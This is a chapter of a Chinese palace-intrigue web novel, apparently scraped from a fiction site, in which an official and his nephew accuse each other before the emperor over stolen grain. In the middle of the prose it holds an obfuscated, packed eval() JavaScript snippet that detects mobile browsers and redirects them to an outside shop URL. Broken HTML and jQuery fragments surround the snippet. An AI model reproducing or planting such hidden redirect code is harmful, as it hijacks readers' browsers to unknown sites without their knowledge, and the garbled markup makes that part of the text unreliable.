文趣网 > 其他小说 > 别惹那个大胃王,她是终极凶兽! > 26. 撕咬进行时
    “圣上!圣上!不是我啊!是李傅让我做的!是李傅那个贱人逼我做的啊!”

    “圣上!圣上!”

    撕心裂肺的哭喊声回荡在宫殿内,李讯瘫在地上,被士兵拖着不断向后,他的屁股已经挨上了宫殿大门,就在他下一秒就会被拖出去时,皇帝却忽然抬手叫停。

    士兵见状,便立刻都松了力气。

    李讯哆嗦着瘫倒在地,他大口大口喘着粗气,泪水深深嵌进他因为害怕而囧起的面部纹路上,显得滑稽又可笑。

    “你说什么?”皇帝面色更冷了下来。

    李讯眼珠子疯狂转动,哆哆嗦嗦地翻起身,跪在了地上,他猛猛磕着头:“圣上!是臣舅舅逼臣这么做的啊...”

    正说着,李讯低着脑袋,掀起眼皮盯着前方的那个挺拔的背影,声音颤抖:“是李傅命令我扣押百姓的粮食的!李傅威胁我,他说若是我不照他所说的去做,那他就扒了我的皮喂狗啊!”

    此话一出,众臣目光都纷纷朝着李傅看去。

    本一直沉默不言的李傅明显的身体一怔,衣袖中放松下来的手又再次攥了起来。

    李讯毫无形象地大哭起来,他低着头,叫人看不见他的面部表情,但眼中闪烁的光却越发狡猾:“请圣上明察!请圣上明察啊!不是我的错啊!真的不是我啊...”

    但与李讯哭泣的可怜样子不同,他彷佛一个极好的演员,想要把全部责任狠狠推出,推到自己的舅舅身上。

    此时,一直保持沉默的李傅再也等不了了,他拱手,终于开口说出今日的第一句话:“圣上,事到如今,就算臣是李讯的亲人,臣也不能去偏袒他了,臣可以保证,从不知晓李讯偷偷做的这上不得台面的脏污行当!李讯已经是发了疯,请圣上不要被他的疯话欺骗了啊!”

    “这么多年以来,臣是如何为了圣上,为了圣上的江山社稷尽心竭力...大家都看在眼里,圣上也是知道的啊...百姓出事就是国家出事,没有百姓为国土而努力造势出好的方向,那国家可就从根上坏了啊!臣是不可能拿着一国之本而玩弄利用的!恳请圣上明察!”

    李傅一言一语掷地有声,面上也仍旧是那副郑重模样,他说着,似是因为这个贪得无厌的侄子心痛不已,深深地叹了一口气,猛地跪在了地上。

    “咚”的一声,李傅实打实双膝砸在地上。

    殿内大臣们瞬间一片哗然。

    今夜究竟是个什么日子?一个接一个的爆炸性事件闯入,他们将目光放在这亲戚二人间不断穿梭,一个是当朝高官,一个是地方官员,且都是出了名的家伙,今日之事真是让他们大开眼界。

    也真是一出闹剧。

    方逸诚怀中的齐圆本沉默着等待李讯先被判下罪行,但这一出突发的“狗咬狗”让她吓了一跳,周围本极度安静的众人吵嚷起来,一时间哄哄闹闹的,齐圆便也趁乱用爪子扒拉了男人几下。

    男人本皱眉撇着李傅,被戳到的胸膛微微一颤,随即便顺着齐圆的意低下了头,靠近过去。

    齐圆小声又着急:“他俩现在内斗,那岂不是把假笑国师派人暗杀你的证据拿出来的好时候?他可是暗杀了你两次哎!”

    齐圆说着,看着方逸诚那副不着急的模样,她倒是有些急了起来:“绝对不能让他俩跑了,尤其是那个贪粮食的李傅!太过分!”

    李傅?

    方逸诚听着,不禁浅浅笑起来,但他只是抬手揉了揉齐圆的脑袋,没有纠正这个姓名的错误:“放心,我会处理。”

    齐圆本想躲,但看着眼前人沉稳的表情,又还是放弃了抵抗。

    她不清楚方逸诚是又在计划什么,但不知为何,看到他的眼睛时,便又莫名地安下心来。

    齐圆无言间看向仍旧跪在地上的假笑国师,还有在殿门前哭的一头汗的李讯。

    这两个人真是各执一词。

    此刻众人目光也全部都聚焦在这两个人身上。

    阶梯之上的皇帝望着地板上撕心裂肺哭泣着的李讯,眸光微动,与方逸诚微妙地交错一瞬,开口问道:“李讯,你可知,构陷朝中大臣,乃是大罪?”

    见皇帝愿意问,就是给他机会,李讯回答的极快:“我知道我知道!我没有欺骗圣上!”

    “如若有一点欺骗圣上的地方,那我就天打雷劈不得好死!我就——”

    “如果是真的,那就拿出证据。”

    皇帝眯起眼睛,他没空去听李讯脱口成章的可笑誓言,在这种关键时候,实打实的证据才是最重要的。

    皇帝用指尖点了点案上的收音法器和粮食报告:“李傅威胁你的证据朕不知道,但现在能治你死罪的证据可是就在朕这里。”

    皇帝说着,重新看向李讯。

    而李讯也是张张嘴巴,他收敛了哭声,两只眼睛滴溜溜转,瞪的极大。

    但等他刚想说什么,跪在地上迟迟不起的李傅又再次开口:“圣上,臣可以自认,每年与李讯的交流除了过年时的家族相聚,那便只有元波每年上交的的粮食和税收报告了,这方面臣每年都会在检查过后交予圣上,圣上也是知道的啊...那报告上所征收的都在正常范围内...现在想想,李讯真是将下层的关系打通的极好,上交的报告内容竟滴水不漏,贪下的钱财全都进了他一人的口袋!”

    在后面的李讯咻地一下抬起头来,恶狠狠盯着前面的舅舅。

    李傅说着,再次拱起手来:“请圣上明察啊,臣从未做过威胁之事!万万不可任凭这样的人张口便是污蔑!圣上,此风气断不可长啊!若是纵容这般风气兴起,那岂不是人人都可空口造谣?请圣上明察啊!”

    “你,你,你放屁!”

    李傅话音还未落地,后面的李讯便面红耳赤地大吼:“我怎么没有证据?!你以为老子没有证据吗?!老子有!老子有证据!”

    这两个人竟是直接争吵起来,殿中众臣也再次炸开了锅,大殿中顿时一片哗然,混乱的气氛不断蔓延,直到皇帝猛然一拍桌案。

    “嘭”的一声,只是这一声,殿内瞬间平复,争论的声音全部消失。

    李傅和李讯低下头不再说话,众大臣也都沉默下来。

    皇帝没有暴怒,只是沉声道:“你们,要翻了天不成?”

    这一次,殿中所有人都是心头一颤,齐齐跪倒在地,不约而同道:“臣等不敢!”

    一行人整齐划一的请罪声回荡在安静的宫殿内。

    没有人再敢讨论和争吵,只是跪在地上,将头低的贴近地面。

    一时间,浩大的宫殿内陷入死寂。

    阶梯之上坐着的皇帝皱了皱眉,看向殿中唯一没有跪下的男人。

    他的目光中流露出一瞬的担忧,只有方逸诚能够看到。

    方逸诚再度与皇帝交错视线,这一次他轻微地点了点头。

    片刻,皇帝叹了口气,垂眸道:“都起来吧。”

    “臣等听令。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675404|205820||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    众臣回应着,小心翼翼地起了身。

    却唯独李家叔侄两人还跪在地上。

    李讯是因为有士兵压着,李傅却完全出于自愿。

    皇帝郑重地对着各执一词的叔侄两人道:“李傅,朕不会冤枉你,没有证据的谣言不会成立,李讯,光凭嘴说可不行,你如若真是受到威胁,那么现在,就把证据拿出来,不然可就不是直接赐死这么简单了。”

    李傅目光一动,连忙拱手:“臣相信圣上判断。”

    李讯听着,那张肥胖的脸再一次囧在一起,他话音颤抖:“圣上,再给我一次机会吧!证据...证据还在我府邸的书房中,是我与李傅的通信!十几年来有一大摞呢!全都被我放在书房的第二个柜子里了!圣上可以派人去取!”

    李讯说着,又哐哐磕起响头来:“李傅在信中的指使和威胁记录的清清楚楚,是他的亲笔信!求圣上开恩!求圣上给我一条活路啊!就是给圣上当牛做马拉磨我也愿意!”

    李讯将自己最后的保命招数拿了出来,关于他与舅舅的书信,这么多年来他全部都没有听舅舅说的让他读后即毁,全部都保留在了书房里,为的就是能够有个凭证,万一有一天他被拉下马还能有条好路能走。

    哼,李讯咬紧了牙关。

    他李讯也不是吃素的。

    这边李讯稍稍放松下来,前面跪着的李傅倒是心凉了下去,李傅面部无法自控地抽搐了一下,又很快恢复到了什么表情都没有的模样。

    这混小子...

    殿内众臣你看我,我看你的互相传递着视线与惊讶。

    若是真如同这已经定下死罪的李讯所说,那李傅这国师之位还真就该坐不住了。

    就算他有先皇作保,也无可回转。

    “非重大事件不得撤职”,指示贪污可不只是重大事件而已了。

    齐圆也意识到终于来到了事件的关键转折点,不管这李讯究竟是不是出于自己的意愿做了这些恶心事,但他都已经脱不了关系,至于能否取得揪出幕后的假笑国师,便取决于这李讯口中的证据了。

    齐圆眨眨眼,用力地揪了揪方逸诚的衣袖,想要以此传递自己的激动和着急。

    方逸诚捏了捏怀中小兽的耳朵,表示自己收到。

    终于是问出了证据所在,他抬眼,皇帝也正看向他,在皇帝眼中读到了同样的目的。

    随后方逸诚便招招手,对着身旁的侍者说了什么,那侍者便立刻离开了宫殿。

    宫殿的门再一次被打开,今日好像开开关关的格外频繁,而这一次,殿外又淅淅沥沥下起了雨。

    门开启之时,雨水顺着风力被吹进殿中,打湿了前面的地板,也带来了丝丝凉意。

    齐圆鼻尖有些痒痒的,她张张嘴巴控制不住打了个喷嚏。

    方逸诚垂眸,小兽正用爪子蹭着鼻子。

    方逸诚以为是齐圆受了凉,但此时在殿中又没有保暖的被褥,他思忖片刻,只好将自己另一只手的袖子摊开盖在了齐圆小兽的身上。

    突然有软软的布料覆盖上自己的身体,齐圆一愣,紧接着扭头看去,在看清是某人衣服的袖子时突然“扑哧”一声笑了起来。

    齐圆心中一暖,她抬起脑袋:“谢谢呀小瓜。”

    方逸诚也正低着头看着她,在听到她的道谢后没有说话,只是“哼”了一声后便抬起了头,不再看她。

    但裹在齐圆身上的宽大衣袖却盖的严严实实。